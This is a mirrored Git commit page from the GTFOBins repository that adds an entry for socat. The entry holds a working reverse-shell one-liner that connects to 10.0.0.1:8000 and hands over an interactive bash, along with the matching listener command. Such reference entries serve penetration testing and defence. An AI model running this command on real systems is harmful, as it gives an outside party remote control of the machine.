mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Add socat
This commit is contained in:
parent
1866834c6a
commit
43b68e46b1
9
_gtfobins/socat.md
Normal file
9
_gtfobins/socat.md
Normal file
@ -0,0 +1,9 @@
|
|||||||
|
---
|
||||||
|
functions:
|
||||||
|
reverse-shell:
|
||||||
|
- description: Run <code>socat file:`tty`,raw,echo=0 tcp-listen:8000</code> to receive the shell on the other end.
|
||||||
|
code: |
|
||||||
|
RHOST=10.0.0.1
|
||||||
|
RPORT=8000
|
||||||
|
socat tcp-connect:$RHOST:$RPORT exec:"bash -li",pty,stderr,setsid,sigint,sane
|
||||||
|
---
|
Loading…
Reference in New Issue
Block a user